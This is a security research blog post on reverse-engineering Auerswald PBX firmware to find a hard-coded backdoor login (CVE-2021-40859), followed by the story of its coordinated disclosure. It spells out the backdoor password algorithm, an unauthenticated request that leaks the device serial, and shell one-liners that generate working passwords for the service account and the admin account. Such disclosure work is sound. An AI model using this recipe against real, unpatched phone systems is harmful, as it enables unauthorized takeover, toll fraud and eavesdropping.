# RedTeam Pentesting GmbH - werde eine*r von uns
#### 20 December 2021
## Inside a PBX - Discovering a Firmware Backdoor
This blog post illustrates how RedTeam Pentesting discovered a real-world
backdoor in a widely used Auerswald phone system (see also the
[advisory](https://www.redteam-pentesting.de/en/advisories/rt-
sa-2021-007/-auerswald-compact-multiple-backdoors) and
[CVE-2021-40859](https://cve.mitre.org/cgi-
bin/cvename.cgi?name=CVE-2021-40859)). We will describe the methodology used
to find the backdoor by examining the firmware, highlight the practical
implications of the vulnerability and outline our communications with
Auerswald.
We examined IP telephones and a PBX of Auerswald during one of our
engagements. A PBX routes incoming and outgoing calls to their corresponding
destinations, not unlike an IP router. Companies often use a single telephone
number with different additional extension numbers assigned to specific
telephones.
During the analysis of the devices we found a reference to a service Auerswald
provides in case a customer looses the credentials to their admin account. By
filling out a document and contacting the manufacturer, the PBX' admin
password can be reset. We wondered how that process might work and decided to
take a closer look.
### Obtaining and Unpacking the Firmware Image
We started this endeavour by downloading the firmware image for the COMpact
5500, version 7.8A, from the [Auerswald support
website](https://www.auerswald.de/de/support/download/firmware-compact-5500).
Images like this one contain the software for the PBX and are available in
order to allow customers to update the device to the newest version. Since
there is no single standard way of distributing firmware images we first had
to figure out the format of this particular file. An easy way to get some
information is the Linux command-line utility `file`:
```bash-session
$ file 7_8A_002_COMpact5500.rom
7_8A_002_COMpact5500.rom: gzip compressed data, last modified: Wed Sep 23 15:04:43 2020, from Unix, original size modulo 2^32 196976698
```
The output shows us that the data is compressed using `gzip`. To get the
uncompressed content, the file can be renamed to have the file extension `.gz`
and then extracted using the program `gunzip`:
```bash-session
$ mv 7_8A_002_COMpact5500.rom 7_8A_002_COMpact5500.gz
$ gunzip 7_8A_002_COMpact5500.gz
```
This produces the file `7_8A_002_COMpact5500` which can be analysed again
using the `file` utility:
```bash-session
$ file 7_8A_002_COMpact5500
7_8A_002_COMpact5500: u-boot legacy uImage, CP5500 125850, Linux/ARM, Multi-File Image (Not compressed), 196976634 bytes, Wed Sep 23 15:04:38 2020, Load Address: 0x00000000, Entry Point: 0x00000000, Header CRC: 0xCECA93E8, Data CRC: 0x99E65DF1
```
The extracted file is a "Das U-Boot" (u-boot) multi-image.
[U-boot](https://www.denx.de/wiki/U-Boot) is a commonly used bootloader that
comes with a number of command-line utilities which can be used to create or
modify such image files. Some basic information can be extracted from the
image with the u-boot utility `dumpimage`:
```bash-session
$ dumpimage -l 7_8A_002_COMpact5500
Image Name: CP5500 125850
Created: Wed Sep 23 17:04:38 2020
Image Type: ARM Linux Multi-File Image (uncompressed)
Data Size: 196976634 Bytes = 192359.99 KiB = 187.85 MiB
Load Address: 00000000
Entry Point: 00000000
Contents:
Image 0: 512 Bytes = 0.50 KiB = 0.00 MiB
Image 1: 196976110 Bytes = 192359.48 KiB = 187.85 MiB
```
The output shows that the multi-image file contains two images. The first
image is only 512 Bytes in size and can be ignored. The second image appears
to be more interesting and can be extracted using the same tool:
```bash-session
$ dumpimage -p 1 -o rootfs 7_8A_002_COMpact5500
$ file rootfs
rootfs: Linux rev 1.0 ext2 filesystem data, UUID=c3604712-a2ca-412f-81ca-f302d7f20ef1, volume name "7.8A_002_125850."
```
The output of `file` on the extracted file shows that it contains a Linux ext2
file system, which can be mounted like a regular hard-drive image:
```bash-session
$ sudo mount -o loop,ro rootfs /mnt
```
Now the contents of the file system can be browsed at `/mnt`.
### Finding the Web Server
Since the document for the password reset functionality states that access to
the web interface is needed, we first searched for files giving indications on
how the web interface is implemented. The folder at `/opt/auerswald` contains
Auerswald specific scripts and configuration files. It includes the folder
`lighttpd`, containing configuration files for the
[lighttpd](https://www.lighttpd.net/) web server, including the file
`fastcgi.conf`:
```
$HTTP["referer"] !~ "(.*/ipeditor/.*|.*/styles/main.css)" {
$HTTP["url"] !~ "^(/statics/css/.*|/statics/errors/.*|[...]" {
fastcgi.server = ( "/" => ((
"socket" => env.fastcgi_socket,
"check-local" => "disable",
"x-sendfile" => "enable",
"fix-root-scriptname" => "enable"
))
)
}
}
[...]
```
Apart from some static files, HTTP requests appear to be forwarded to a
[FastCGI](https://fastcgi-archives.github.io/) socket. The socket name is
passed via an environment variable during the startup of `lighttpd`:
```bash-session
$ cd /mnt/opt/auerswald
$ grep -r fastcgi_socket
scripts/run-lighty:export fastcgi_socket=/tmp/webs_fcgi.socket
lighttpd/fastcgi.conf: "socket" => env.fastcgi_socket,
lighttpd/fastcgi.conf: "socket" => env.fastcgi_socket,
```
Searching for this socket name reveals a match inside the binary file
available at `/opt/auerswald/web/webserver`:
```bash-session
$ grep -ir webs_fcgi
scripts/run-lighty:export fastcgi_socket=/tmp/webs_fcgi.socket
grep: web/webserver: binary file matches
```
So it seems like most of the web interface is handled by a custom binary
application. Subsequently, in order to figure out how the password reset
works, we analysed the binary `webserver` in Ghidra…
### Reverse Engineering with Ghidra
[Ghidra](https://ghidra-sre.org/) is an open-source reverse engineering tool
developed by the US National Security Agency (NSA). Most notably, Ghidra
contains a disassembler and decompiler, which attempt to translate machine
instructions back to a human-readable format. Whereas the disassembler
translates the machine code to assembly language, which is very close to the
actual machine code, the decompiler tries to translate the code to a higher-
level programming language. The decompiler of Ghidra produces code in a
language very similar to C. After creating a new project in Ghidra and
importing the `webserver` binary, the file can be opened in the "CodeBrowser".
When first opening the file, Ghidra asks if the file should be analysed,
starting the decompilation process. The interface of Ghidra is split into
different panes. The central pane shows the disassembled code and the right
side shows the decompiled code of the currently selected function.
A good starting point is to search for known strings within the binary. This
can be done by opening the "Defined Strings" window and using the search bar
at the bottom of the newly opened window.
![Ghidra Defined Strings](https://images.seebug.org/1640144746223-w331s)
](/2021/inside-a-pbx/ghidra_search.png)
The [Auerswald
documentation](https://docs.auerswald.de/COMpact_5200_5500_R/Help_de_12/index.html#page/Buch1/konfigurationsmanager_oeffnen_subadmin_reference.html)
mentions the default user "sub-admin", so we first searched for that:
![Ghidra Search for sub-admin](https://images.seebug.org/1640144748363-w331s)
The search yields a match which is shown in the disassembly pane when
selected. Besides decompiling the binary during analysis, Ghidra also searches
for cross references (XREFs). Therefore, the disassembly pane shows addresses
next to the string which point to the location where the string is used. By
double clicking on the first XREF, the disassembly view jumps to the
referenced address. The decompiler pane now shows C-like code for the
function. The highlighted line shows how the "sub-admin" string is used:
![Ghidra Decompiler](https://images.seebug.org/1640144750039-w331s)
The `strcmp` function is called to compare the variable `local_5e8` with the
string "sub-admin". Note that the shown variable and function names are not
the names which were used in the original code. Presumably, the variable
`local_5e8` is the username entered by the user, since it is compared to a
known valid username. To be able to identify this variable as the username in
other places of the code, it is helpful to rename it to something more
descriptive. This can be done by right-clicking the variable and selecting
"Rename Variable".
!['Rename Variable' Menu Item in
Ghidra](https://images.seebug.org/1640144751684-w331s)
In this case the new variable name `username` was chosen.
Now, a bit further up within the code we can see that the username is compared
to another string:
```c
iVar5 = strcmp((char *)username,"Schandelah");
```
### "Schandelah"?
"Schandelah" appears to be a special username. It turns out that Schandelah is
the name of a tiny village in northern Germany where Auerswald produces their
devices (see [its German Wikipedia
entry](https://de.wikipedia.org/wiki/Schandelah)). This already seems very
suspicious, since no documentation of this username could be found in the
manuals. Let's see what happens after the username comparison…
```c
iVar5 = strcmp((char *)username,"Schandelah");
if (iVar5 == 0) {
FUN_00287a84(0,&local_94);
if (local_600 == (undefined4 *)0x0) {
[...]
}
else {
iVar5 = strcmp((char *)local_600,(char *)&local_94);
if (iVar5 == 0) {
[...]
goto LAB_00015954;
}
}
}
```
So if the username is `Schandelah`, the function `FUN_00287a84` is called with
a reference to the variable `local_94` (line 3). This pass-by-reference
indicates that `FUN_00287a84` modifies `local_94` in some way. Afterwards, if
the variable `local_600` is not zero, it is compared to the contents of
`local_94` using `strcmp` (line 8). After examining other places where
`local_600` is used it becomes apparent that this is the password the user
entered. Therefore, `local_94` must be the password for the user `Schandelah`!
To get the contents of the password, we have to understand `FUN_00287a84`.
Double clicking on `FUN_00287a84` yields the function definition:
```c
void FUN_00287a84(undefined4 param_1)
{
FUN_002878e8(param_1,0,0);
return;
}
```
It seems like that this is just a wrapper function calling another function
with pre-defined arguments. The inner function is:
```c
void FUN_002878e8(undefined4 *param_1,int param_2,uint param_3,undefined4 param_4)
{
undefined4 uVar1;
undefined4 local_c4;
[...]
if (param_1 == (undefined4 *)0x0) {
param_1 = &local_84;
FUN_00289af4(param_1,0x21);
}
if (param_2 != 0) {
if (param_3 < 0x12) {
__strcpy_chk(&local_2c,(&PTR_DAT_00366940)[param_3],8);
}
else {
local_2c = 0x2e612e6e;
local_28 = local_28 & 0xffffff00;
}
}
uVar1 = FUN_0027b640(&local_3c,0x10);
__snprintf_chk(&local_c4,0x40,1,0x40,"%s%s%s%s",param_1,&DAT_0036698c,uVar1,&local_2c);
FUN_002693f8(&local_c4,&local_60);
FUN_002748e0(param_4,&local_60,8);
[...]
}
```
This function first retrieves values using the functions `FUN_00289af4` and
`FUN_0027b640`. Then, on line 21, `snprintf` is used to concatenate four
string values. To find out the complete string, we must figure out the value
of each argument. It starts with `param_1`, which is retrieved with a function
call to `FUN_00289af4` in line 9. Again, a double click makes Ghidra jump to
the function:
```c
void FUN_00289af4(char *param_1,uint param_2)
{
int iVar1;
[...]
memset(param_1,0,param_2);
iVar2 = FUN_0028a1c4();
if (iVar2 != 0) {
FUN_002748e0(param_1,iVar2 + 0x20,uVar4);
}
[...]
if (iVar2 != 0) {
FUN_002546f8(0x164,5,0,"targetlib_ifc_impl.c",0x15,"auer_getPbxSerialNumber",0x18,0xd3,
"%s: serial=%s","auer_getPbxSerialNumber",param_1);
}
[...]
return;
}
```
Luckily, the original name for the function is contained as a string within
the function. The name is `auer_getPbxSerialNumber`, indicating that the
function retrieves the PBX' serial number. The function called in lines 12 and
13 probably emits a corresponding log message. Since it might be used
elsewhere, we renamed it to `auer_debuglog`. We also renamed the current
function `FUN_00289af4` to `auer_getPbxSerialNumber`. We can then jump back to
the previously visited function using the keyboard shortcut "Alt + Left
Arrow".
In a similar fashion, we eventually figured out all other arguments given to
the `snprintf` function call. After assigning each variable and function an
appropriate name the value of the concatenated string becomes apparent:
```c
void FUN_00289af4(char *param_1,uint param_2)
{
undefined4 currentDate;
undefined4 local_c4;
[...]
if (pbx_snr == (undefined4 *)0x0) {
pbx_snr = &local_84;
auer_getPbxSerialNumber(pbx_snr,0x21);
}
if (param_2 != 0) {
if (param_3 < 0x12) {
__strcpy_chk(&countrycode,(&countrycodes)[param_3],8);
}
else {
countrycode = 0x2e612e6e;
local_28 = local_28 & 0xffffff00;
}
}
currentDate = getCurrentDateAsString(&local_3c,0x10);
__snprintf_chk(&local_c4,0x40,1,0x40,"%s%s%s%s",pbx_snr,"r2d2",currentDate,&countrycode);
FUN_002693f8(&local_c4,&local_60);
FUN_002748e0(param_4,&local_60,8);
```
First, the serial number of the PBX is retrieved (line 9). Afterwards, if the
second parameter of the function does not equal zero, a two letter country
code is retrieved from a list (lines 11 to 19). However, the wrapper function
ensures that this parameter is always zero, so we can skip the country code.
Lastly, the current date is read as a string in the format "DD.MM.YYYY" (line
20), which is a common date representation in Germany. Then, a string is
formed from these values with the additional hard-coded string `r2d2` in
between. The resulting string is then given as an argument to the function
`FUN_002693f8`:
```c
void FUN_002693f8(char *param_1,char *param_2)
{
[...]
local_90 = 0xefcdab89;
local_94 = 0x67452301;
local_8c = 0x98badcfe;
local_88 = 0x10325476;
sVar1 = strlen(param_1);
FUN_00268aac(&local_94,param_1,sVar1);
FUN_00268ce4(&local_3c,&local_94);
*param_2 = "0123456789abcdef"[local_3c >> 4];
param_2[1] = "0123456789abcdef"[local_3c & 0xf];
param_2[2] = "0123456789abcdef"[local_3b >> 4];
param_2[3] = "0123456789abcdef"[local_3b & 0xf];
[...]
param_2[0x1f] = "0123456789abcdef"[local_2d & 0xf];
param_2[0x20] = '\0';
[...]
}
```
The function starts by initializing four local variables with static values
(lines 4 to 7). A quick search on the Internet reveals that these magic
numbers are used in the MD5 hashing algorithm (see [RFC 1321, section
3.3](https://datatracker.ietf.org/doc/html/rfc1321#section-3.3)):
```
3.3 Step 3. Initialize MD Buffer
A four-word buffer (A,B,C,D) is used to compute the message digest.
Here each of A, B, C, D is a 32-bit register. These registers are
initialized to the following values in hexadecimal, low-order bytes
first):
word A: 01 23 45 67
word B: 89 ab cd ef
word C: fe dc ba 98
word D: 76 54 32 10
```
Note that the RFC uses little-endian byte order while Ghidra displays these
values as big-endian integers. The functions `FUN_00268aac` (line 10) and
`FUN_00268ce4` (line 11) correspond to the MD5 update and finalize operations.
After finalizing the digest, parts of the results are used as indices into a
string consisting of all ASCII digits and letters from `a` to `f` (lines 13 to
19). This leads us to conclude that the function `FUN_002693f8` calculates the
MD5 digest of the string at `param_1`, as a lower case hexadecimal value. The
output is written to the address at `param_2`.
After renaming the function accordingly, only one unknown function is left:
```c
__snprintf_chk(&unhashedPassword,0x40,1,0x40,"%s%s%s%s",pbx_snr,"r2d2",currentDate,&countrycode);
md5(&unhashedPassword,&hexHash);
FUN_002748e0(param_4,&hexHash,8);
```
The function takes three parameters: `param_4`, whose value is unknown at this
point, the hexadecimal MD5 digest and the hard-coded value `8`. Again, the
function contains information about its name:
```c
void FUN_002748e0(char *param_1,char *param_2,size_t param_3)
{
[...]
if ((int)param_3 < 1) {
__fprintf_chk(stderr,1,"%s: ungueltiger Aufruf mit size = %d durch %p!","auer_strncpy",param_3);
fflush(stderr);
}
else {
strncpy(param_1,param_2,param_3);
param_1[param_3 - 1] = '\0';
}
[...]
}
```
The function appears to be a wrapper around the `strncpy` function, which
copies a string from one address to another address. Since the value `8` was
given as an argument, we naively assumed that the first eight characters of
the MD5 hash are retrieved.
Broken down, the backdoor password for the user `Schandelah` appears to be
constructed with the following algorithm:
1. Retrieve the serial number of the PBX
2. Retrieve the current date as a string
3. Calculate the MD5 hash of: serial number + "r2d2" \+ current date (as DD.MM.YYYY)
4. Return the first 8 characters of the calculated hash
So the only secret information an attacker needs to know to generate the
password for the user `Schandelah` is the serial number of the PBX. However,
it turns out that this information is not so secret after all, but can be
retrieved without authentication from the path `/about_state`:
```bash-session
$ curl --include https://192.168.1.2/about_state
HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8;
[...]
{
"pbx": "COMpact 5500R",
"pbxType": 35,
"pbxId": 0,
"version": "Version 7.8A - Build 002 ",
"serial": "1234123412",
"date": "30.08.2021",
[...]
}
```
After we calculated the password and then tried to login with the user
`Schandelah`, the authentication failed. At this point, there could be several
possible reasons for this and since we had no way to debug the PBX, we had to
validate each step of the password generation process by going through the
decompiled code again. In the end it turned out that we misunderstood the
implementation of the `strncpy` wrapper: While `strncpy` indeed copies eight
characters, the wrapper `auer_strncpy` then ensures that the string is
properly null-terminated:
```c
strncpy(param_1,param_2,param_3);
param_1[param_3 - 1] = '\0';
```
Therefore, the backdoor password actually consists of only seven characters of
the MD5 hash, for example:
```bash-session
$ echo -n 1234123412r2d230.08.2021 | md5sum | egrep -o '^.{7}'
1432d89
```
Equipped with this password we then could authenticate successfully. After
logging in, the web interface showed a special service page, which allowed
among other functions to reset the administrator password.
### More "Schandelah"?
While this backdoor password allowed us to reset the administrator password
and gain full privileges on the PBX, we wondered whether the same password
generator is used in other places. We used the cross reference search of
Ghidra to find other invocations of the password generation function. In the
same function where the user `Schandelah` is checked, the following code can
be found:
```c
iVar5 = strcmp((char *)password,(char *)&local_d8);
if (iVar5 != 0) {
[...]
FUN_0019441c(param_1[2],"TkLand",&local_5c4);
generate_backdoor_password(0,1,local_5c4,&local_2d8);
iVar5 = strcmp((char *)password,(char *)&local_2d8);
goto joined_r0x00015678;
}
```
This branch of code is executed when the adminstrative username `admin` is
passed. First, the real admin password stored in the variable `local_d8` is
checked. If the password entered by the user does not match, it is compared
again to a "fallback" password generated using the backdoor routine. However,
this time, the country code configured for the PBX is read out and passed as
an argument. Consequently, the fallback password for the admin user is
generated with the two letter country code, for example:
```
$ echo -n 1234123412r2d230.08.2021DE | md5sum | egrep -o '^.{7}'
92fcdd9
```
The `admin` fallback password provides full-privileged access to the PBX
without needing to change the password first.
### So What?
While the backdoor passwords were discovered during a penetration test on a
specific Auerswald PBX, many other PBX models from the manufacturer are
affected as well. In some cases the web interface of those PBX devices are
facing the Internet and thus could be compromised in a large-scale attack.
It's difficult to tell exactly how many devices are affected, but a quick
search on [Shodan](https://www.shodan.io/) shows that there are a few
Auerswald lighttpd servers on the Internet. However, not all of the results
are PBX devices, and this search does not take the firmware version into
account. ![Shodan Report
Showing 1667 Results](https://images.seebug.org/1640144755452-w331s)
](/2021/inside-a-pbx/shodan.png)
Since most of these devices handle incoming and outgoing calls for companies,
a compromise could possibly have severe consequences. For example, attackers
could dial premium rate numbers to gain a financial benefit or wiretap
sensitive phone calls in order to gain information to their advantage.
### A few more vulnerabilities
As all of the tested Auerswald devices had web-based configuration interfaces,
we also examined those for typical web vulnerabilities. A way could be found
to read out credentials from a single IP telephone
([CVE-2021-40856](https://cve.mitre.org/cgi-
bin/cvename.cgi?name=CVE-2021-40856)), which allowed to access the PBX with
limited privileges. Those privileges could then be escalated to "sub-admin"
([CVE-2021-40857](https://cve.mitre.org/cgi-
bin/cvename.cgi?name=CVE-2021-40857)), a user that is usually used to
configure the PBX. So all in all, we found several ways how an attacker can
gain highly privileged access to the telephone infrastructure.
### Disclosure to Auerswald
The vulnerability is present in several firmware versions of the affected
devices, so a thorough fix could only be provided by the manufacturer itself.
With the approval of our customer, we disclosed details of the vulnerability
to Auerswald. In order to facilitate a quick resolution, we set a fixed time
frame of 90 days after which we also release the details of the vulnerability
to the public. This gives the vendor enough time to produce an appropriate fix
while also ensuring that other affected businesses are made aware of the issue
and potential mitigations. We always make sure to communicate our disclosure
process in a very clear way. Also, we try to coordinate the public disclosure
in a sensible way with the release of the fix from the vendor. Customers
should be given enough time to update their systems before details of the
vulnerability are released.
Auerswald reacted in an exemplary manner, acknowledging the issue and
releasing an updated firmware for the affected devices in a timely manner. We
were updated on the progress and provided with fixed firmwares and access to
devices to test them on in advance of the release, to make sure the
vulnerabilities have been resolved correctly. You can find the timeline of the
public disclosure process in [our advisory](https://www.redteam-
pentesting.de/en/advisories/rt-sa-2021-007/-auerswald-compact-multiple-
backdoors).
暂无评论